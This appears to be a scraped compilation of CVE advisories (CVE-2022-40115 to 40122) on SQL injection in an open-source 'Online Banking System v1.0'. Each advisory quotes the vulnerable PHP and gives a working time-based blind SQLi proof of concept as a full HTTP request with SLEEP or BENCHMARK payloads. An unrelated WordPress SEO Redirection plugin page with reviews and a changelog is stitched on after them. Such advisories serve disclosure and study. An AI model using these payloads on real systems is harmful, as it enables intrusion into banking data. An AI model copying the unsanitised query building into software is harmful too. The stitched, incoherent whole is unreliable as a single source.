Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_beneficiary.php.

Permalink

**Vulnerability file address**

net-banking/delete_beneficiary.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 21 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
if (isset($\_GET\['cust\_id'\])) {
        $sql0 = "DELETE FROM beneficiary".$\_SESSION\['loggedIn\_cust\_id'\].
                " WHERE benef\_cust\_id=".$\_GET\['cust\_id'\];
    }

    $success = 0;
    if (($conn\->query($sql0) === TRUE)) {
        $sql0 = "SELECT MAX(benef\_id) FROM beneficiary".$\_SESSION\['loggedIn\_cust\_id'\];
        $result = $conn\->query($sql0);
        $row = $result\->fetch\_assoc();
......
......
......

**POC**

GET /net-banking/delete\_beneficiary.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40115: BugReport/sql_injection1.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/beneficiary.php.

**Vulnerability file address**

net-banking/beneficiary.php from line 74,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 92 $result1 = $conn->query($sql1); made a sql query,resulting in sql injection

......
......
......
if (isset($\_POST\['submit'\])) {
                    $back\_button = TRUE;
                    $search = $\_POST\['search'\];
                    $by = $\_POST\['by'\];

                    if ($by == "name") {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND (first\_name LIKE '%$search%'
                        OR last\_name LIKE '%$search%' OR CONCAT(first\_name, ' ', last\_name) LIKE '%$search%')";
                    }
                    else {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND account\_no LIKE '$search'";
                    }
                }
......
......
......

        <?php
            $result1 = $conn\->query($sql1);
......
......
......

**POC**

POST /net-banking/beneficiary.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 2893 FROM (SELECT(SLEEP(5)))EXvW)-- WklL

**Attack results pictures**

CVE-2022-40116: Found a vulnerability · Issue #13 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_customer.php.

Permalink

**Vulnerability file address**

net-banking/delete_customer.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 36 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
 if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $sql0 = "DELETE FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
    $sql1 = "DROP TABLE passbook".$\_SESSION\['cust\_id'\];
    $sql2 = "DROP TABLE beneficiary".$\_SESSION\['cust\_id'\];

?>
......
......
......
            <?php
                if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/delete\_customer.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40117: BugReport/sql_injection2.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/send_funds_action.php.

Permalink

**Vulnerability file address**

net-banking/send_funds_action.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $receiver_id is not protected from sql injection, line 29 $result5 = $conn->query($sql5); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $receiver\_id = $\_GET\['cust\_id'\];
    }

    $sender\_id = $\_SESSION\['loggedIn\_cust\_id'\];
    $amt = mysqli\_real\_escape\_string($conn, $\_POST\["amt"\]);
    $password = mysqli\_real\_escape\_string($conn, $\_POST\["password"\]);

    $sql0 = "SELECT \* FROM customer WHERE cust\_id=".$sender\_id." AND pwd='".$password."'";
    $result0 = $conn\->query($sql0);
    $row0 = $result0\->fetch\_assoc();

    $sql5 = "SELECT \* FROM customer WHERE cust\_id=".$receiver\_id;
    $result5 = $conn\->query($sql5);
......
......
......

**POC**

GET /net-banking/send\_funds\_action.php?cust\_id=666 AND (SELECT 2011 FROM (SELECT(SLEEP(5)))DwUi) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40118: BugReport/sql_injection4.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/transactions.php.

**Vulnerability file address**

net-banking/transactions.php from line 28,The $_POST['search_term'] parameter is controllable, the parameter search\_term can be passed through post, and the $_POST['search_term'] is not protected from sql injection, line 170 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_POST\['search\_term'\])) {
        $\_SESSION\['search\_term'\] = $\_POST\['search\_term'\];
    }
    if (isset($\_POST\['date\_from'\])) {
        $\_SESSION\['date\_from'\] = $\_POST\['date\_from'\];
    }
    if (isset($\_POST\['date\_to'\])) {
        $\_SESSION\['date\_to'\] = $\_POST\['date\_to'\];
    }

    // Filter indicator variable
    $filter\_indicator = "None";

    // Queries when search is set
    if (!empty($\_SESSION\['search\_term'\])) {
        $sql0 .= " WHERE remarks COLLATE latin1\_GENERAL\_CI LIKE '%".$\_SESSION\['search\_term'\]."%'";
        $filter\_indicator = "Remarks";

        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Remarks & Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks & Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " AND trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks, Date From & Date To";
        }
    }

    // Queries when search is not set
    if (empty($\_SESSION\['search\_term'\])) {
        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " WHERE trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " WHERE trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " WHERE trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Date From & Date To";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/transactions.php?cust\_id=1 HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

search\_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErm

**Attack results pictures**

CVE-2022-40119: Found a vulnerability · Issue #11 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/customer_transactions.php.

**Vulnerability file address**

net-banking/customer_transactions.php from line 39,The $_POST['search_term'] parameter is controllable, the parameter search\_term can be passed through post, and the $_POST['search_term'] is not protected from sql injection, line 166 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
if (!empty($\_SESSION\['search\_term'\])) {
        $sql0 .= " WHERE remarks COLLATE latin1\_GENERAL\_CI LIKE '%".$\_SESSION\['search\_term'\]."%'";
        $filter\_indicator = "Remarks";

        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Remarks & Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks & Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " AND trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks, Date From & Date To";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/customer\_transactions.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 13

search\_term=' AND (SELECT 2581 FROM (SELECT(SLEEP(5)))bIYx)-- Ldcj

**Attack results pictures**

CVE-2022-40120: Found a vulnerability · Issue #14 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/manage_customers.php.

**Vulnerability file address**

net-banking/manage_customers.php from line 11,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 70 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_POST\['submit'\])) {
        $back\_button = TRUE;
        $search = $\_POST\['search'\];
        $by = $\_POST\['by'\];

        if ($by == "name") {
            $sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
            WHERE first\_name LIKE '%".$search."%' OR last\_name LIKE '%".$search."%'
            OR CONCAT(first\_name, ' ', last\_name) LIKE '%".$search."%'";
        }
        else {
            $sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
            WHERE account\_no LIKE '$search'";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/manage\_customers.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY

**Attack results pictures**

CVE-2022-40121: Found a vulnerability · Issue #12 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/edit_customer_action.php.

**Vulnerability file address**

net-banking/edit_customer_action.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 59 if (($conn->query($sql0) === TRUE)) { ?> made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $fname = mysqli\_real\_escape\_string($conn, $\_POST\["fname"\]);
    $lname = mysqli\_real\_escape\_string($conn, $\_POST\["lname"\]);
    $dob = mysqli\_real\_escape\_string($conn, $\_POST\["dob"\]);
    $aadhar = mysqli\_real\_escape\_string($conn, $\_POST\["aadhar"\]);
    $email = mysqli\_real\_escape\_string($conn, $\_POST\["email"\]);
    $phno = mysqli\_real\_escape\_string($conn, $\_POST\["phno"\]);
    $address = mysqli\_real\_escape\_string($conn, $\_POST\["address"\]);
    $branch = mysqli\_real\_escape\_string($conn, $\_POST\["branch"\]);
    $acno = mysqli\_real\_escape\_string($conn, $\_POST\["acno"\]);
    $pin = mysqli\_real\_escape\_string($conn, $\_POST\["pin"\]);
    $cus\_uname = mysqli\_real\_escape\_string($conn, $\_POST\["cus\_uname"\]);
    $cus\_pwd = mysqli\_real\_escape\_string($conn, $\_POST\["cus\_pwd"\]);

    $sql0 = "UPDATE customer SET first\_name = '$fname',
                                 last\_name = '$lname',
                                 dob = '$dob',
                                 aadhar\_no = '$aadhar',
                                 email = '$email',
                                 phone\_no = '$phno',
                                 address = '$address',
                                 branch = '$branch',
                                 account\_no = '$acno',
                                 pin = '$pin',
                                 uname = '$cus\_uname',
                                 pwd = '$cus\_pwd'
                            WHERE cust\_id=".$\_SESSION\['cust\_id'\];
......
......
......
if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/edit\_customer\_action.php?cust\_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5)))pcwq) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40122: Found a vulnerability · Issue #15 · zakee94/online-banking-system

Unauthenticated Optin Campaign Cache Deletion vulnerability in MailOptin plugin <= 1.2.49.0 at WordPress.

CVE-2022-36340

Cross-Site Request Forgery (CSRF) vulnerability in SEO Redirection plugin <= 8.9 at WordPress, leading to deletion of 404 errors and redirection history.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

SEO Redirection is a powerful redirect manager to manage 301 redirects, you can build and manage redirects easily for your site,  
This plugin is useful if you want to migrating pages from an old website, or are changing the directory of your WordPress website.

New features include:

*   Manually add 301, 302, and 307 redirections for a WordPress post
*   Supports wild card redirection.
*   Fix Crawl Errors (404 & soft 404) in Google Search Console(New)
*   WPML Support (WordPress Multi-language integration) (New)
*   Import/Export feature (New)
*   Adding the last access time & total hits to the redirects list (New)
*   Automatically add a 301 redirection when a post’s URL changes
*   Redirect posts and pages that published, draft or deleted from it\\’s edit page directly.
*   Advanced control panel to control all functions of the plugin.
*   You can redirect folders and all it’s content.
*   Full logs for all redirected URLs
*   You can use regular expressions in redirections.
*   Reflect changes to all links when you move your site or change the domain name.
*   All URLs can be redirected, not just ones that don’t exist
*   Redirection methods – redirect based upon login status, redirect to random pages, redirect based upon the referrer!
*   Friendly GUI and easy to use.
*   Apache .htaccess is not required, works entirely inside WordPress
*   Redirect index.php, index.html, and index.htm access
*   Redirection statistics telling you how many times a redirection has occurred, when it last happened, who tried to do it, and where they found your URL
*   (GDPR compliance) You can customise the level of IP information that is collected by our plugin
*   You can also import from the “Redirection” Plugin (NEW)

The plugin is simple to install:

1.  Download seo-redirection.zip
2.  Unzip the file
3.  Upload seo-redirection directory to your /wp-content/plugins directory
4.  Go to the plugin management page and enable the plugin
5.  Configure the options from the Settings/SEO Redirection page

You can find full details of installing a plugin on the plugin installation page.

**Why would I want to use this instead of .htaccess?**

Redirections are automatically created when a post URL changed. Apache .htaccess is not required

**Is there a manual or knowledge base for this plugin?**

Yes, here is the plugin full knowledge base http://www.clogica.com/kb/

I bought and downloaded the plugin premium and put it on my wordpress, and today I had a problem that it caused a fatal error on my website. Please I really want you to fix this problem in the plugin, it is with Bug.

So where is the list that tells you the difference between the free and the paid? I usually like to see at a glance what this is with software offerings that have a free and paid version so I can make the quickest informed judgement as to how it will work for me. I see a zillion features and copy on the plugin page and sales page, LOL but nothing is telling me what the difference is? How can I make an informed decision without wasting my time experimenting with the plugin trying to find out if its going to suit my needs?

The plugin Plugin did'nt Work with my website, is'nt compatible with WP 4.7.8

I am trying to reach customer service to get access to my account so that I can submit a support ticket; however, HostGator is rejecting emails to info AT clogica DOT com stating there is, "No Such User Here." My organization uses this plugin extensively, but we are unable to find the user login and password under which it was originally registered. We are working on re-developing the site and need the information. If you can please help, that would be greatly appreciated. I am unable to call the phone number since it is in Palestine, so e-mail is the preferred means of communication. Thank you, kindly. WH

Plugin works great. Reached out to customer service with an issue and it was resolved within 24 hours.

Works well and the support is very attentive to requests, even for special cases. Problem resolved quickly.

Read all 74 reviews

“SEO Redirection Plugin – 301 Redirect Manager” is open source software. The following people have contributed to this plugin.

Contributors

*    wp-buy

**9.1**

*   Important security fixes.

**8.9**

*   Bug fixing in reading htaccess file

**8.8**

*   Important security fixes.

**8.7**

*   fix show more link on network sites

**8.6**

*   CSS fixing

**8.5**

*   Security bug fixing

**8.4**

*   ui enhancement

**8.3**

*   add settings page link under plugin name
*   Bug fixing in updating redirects

**8.2**

*   Important security fixes in Ajax requests

**8.1**

*   Important security fixes.

**7.9**

*   Security Bug fixing – Using nonce in deleting redirects

**7.8**

*   Bug fixing – CSRF issue

**7.7**

*   Bug fixing (solving http URLs issue)

**7.6**

*   Escaping data – part 2

**7.5**

*   Escaping data

**7.4**

*   Escaping data & Bug fixing

**7.3**

*   Bug fixing (solving datatable issues)

**7.2**

*   Bug fixing (solving security issues) – part 2

**7.1**

*   Bug fixing (solving security issues) – part 1

**6.4**

*   Bugs fixed

**6.3**

*   Bugs fixed
*   Can delete 404 log

**6.2**

*   bug fixed in redirection log

**6.1**

*   adding new tab for 404 history
*   adding more options in the options tab (404 options)

**5.3**

*   Bug fixed in redirect hits and last access

**5.2**

*   Bug fixed import redirects from Redirection Plugin

**5.1**

*   Bug fixed in forms

**5**

*   new features (sorting, deleting records)
*   The ability to import data from the “Redirection Plugin”

**4.17**

*   Bug fixed in http redirects

**4.16**

*   fixed (is\_plugin\_active issue)

**4.15**

*   fixing buddypress issue (redirects was not working for locked pages)
*   Some other enhancements

**4.14**

*   Adding option in the general options page for IP address GDPR Compatibility

**4.13**

*   GDPR Compatibility

**4.12**

*   fixing export redirects issue

**4.11**

*   fixing Undefined index error

**4.10**

*   fix deprecated issue in php 7

**4.9**

*   WPML support
*   Import/Export Feature
*   New interface design
*   Show last access time & total hits

**4.8**

*   display total 404 count

**4.7**

*   php 7 compatibility

**4.3**

*   Stored XSS fixes

**4.2**

*   Hot fixes
*   php 7 compatibility

**4.1**

*   Removing “404” tab, We replaced it by a new advanced 404 management plugin. Have a look on this by following this link https://wordpress.org/plugins/404-redirection-manager/

**4.0**

*   Please backup your data before using this version.

**3.9**

*   Fixing some issues.

**3.8**

*   Added feature, the capability to disable plugin for admin users

**3.7**

*   Hot fixes

**3.6**

*   Fixing some issues.

**3.5**

*   Fixing some issues.

**3.4**

*   Fixing error appears when deleting the plugin.

**3.3**

*   Hot fixes

**3.2**

*   Hot fixes

**3.1**

*   Redirect loops protection

**3**

*   Hot fixes

**2.9**

*   Hot fixes for redirecting woo-commerce products.

**2.8**

*   Redirect loop prevention.
*   The Ad for the premium version has become in a separate tab not in all the plugin screens as it may disturb some people.
*   Some other fixes.

**2.7**

*   Some fixes.

**2.6**

*   Some hot fixes.

**2.5**

*   Using relative URLs instead of absolute URL’s, This will useful when changing the domain name.

Tag

#php